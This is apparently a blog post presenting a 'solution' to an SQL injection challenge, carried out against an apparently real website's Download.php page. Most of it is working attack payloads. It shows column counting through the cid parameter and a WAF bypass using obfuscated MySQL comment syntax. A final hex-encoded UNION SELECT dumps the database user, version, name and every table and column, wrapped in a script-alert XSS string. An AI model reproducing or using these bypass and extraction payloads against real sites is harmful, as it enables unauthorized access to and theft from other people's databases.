SQLi Solution
SQLi Solution
my solution for :::: SQLi
.
the link : http://bwcrank.com/Download.php?cid=10
.
lets count the columns
.
http://bwcrank(.)com/Download.php?cid=10 order by 100 -- -
.
waf :: 您所提交的请求含有不合法的参数，已被网站管理员设置拦截！
.
http://bwcrank(.)com/Download.php?cid=10 order by 100 -- -
.
lets bypass order by >> /*!/*'GHI'*/ xxx */
.
http://bwcrank(.)com/Download.php?cid=10 /*!/*'ghi'*/order*/ /*!/*'ghi'*/by*/100-- -
.
done with error
.
?cid=10 /*!/*'ghi'*/order*/ /*!/*'ghi'*/by*/1-- - no error
.
?cid=10 /*!/*'ghi'*/order*/ /*!/*'ghi'*/by*/2-- - error
.
column count 1
.
http://bwcrank(.)com/Download.php?cid=10 /*!/*'*/UnIoN*/ /*!/*'*/select*/ 1 -- -
.
work good
.
for this rule
.
* to add your name dont use Hex like 0xBlackRose -for all letters at the same time- , Character Chart CHAR(104) , Binary 0bBlackRose , and you can't add your name like 'balackrose' or "GHI"
.
I will use
.
concat('B','l','a','c','k','R','o','s','e')
.
with hex
.
concat(0x42,0x6c,0x61,0x63,0x6b,0x52,0x6f,0x73,0x65)
.
and to print data I will use xss code
.
script alert` = 0x3c7363726970743e616c65727460
.
my qurey :
.
concat(0x3c7363726970743e616c65727460,0x4e616d65203a3a20,concat(0x42,0x6c,0x61,0x63,0x6b,0x52,0x6f,0x73,0x65),0x5c6e,0x2d2d2d2d2d2d,0x5c6e,0x75736572203a3a20,user/**/(),0x5c6e,0x2d2d2d2d2d2d,0x5c6e,0x76657273696f6e203a3a20,(Select+variable_value+from+information_schema.global_variables+where+variable_name=0x76657273696f6e),0x5c6e,0x2d2d2d2d2d2d,0x2d2d2d2d2d2d,0x2d2d2d2d2d2d,0x5c6e,0x4461746162617365203a3a20,database/**/(),0x5c6e,0x2d2d2d2d2d2d,0x5c6e,(select group_concat(table_name,0x3a,column_name,0x5c6e) from information_schema.columns where table_schema=database/**/()),0x603c2f7363726970743e)
.
http://bwcrank(.)com/Download.php?cid=10 /*!/*'*/UnIoN*/ /*!/*'*/select*/ concat(0x3c7363726970743e616c65727460,0x4e616d65203a3a20,concat(0x42,0x6c,0x61,0x63,0x6b,0x52,0x6f,0x73,0x65),0x5c6e,0x2d2d2d2d2d2d,0x5c6e,0x75736572203a3a20,user/**/(),0x5c6e,0x2d2d2d2d2d2d,0x5c6e,0x76657273696f6e203a3a20,(Select+variable_value+from+information_schema.global_variables+where+variable_name=0x76657273696f6e),0x5c6e,0x2d2d2d2d2d2d,0x2d2d2d2d2d2d,0x2d2d2d2d2d2d,0x5c6e,0x4461746162617365203a3a20,database/**/(),0x5c6e,0x2d2d2d2d2d2d,0x5c6e,(select group_concat(table_name,0x3a,column_name,0x5c6e) from information_schema.columns where table_schema=database/**/()),0x603c2f7363726970743e) -- -
.
Done
.
Comments
Post a Comment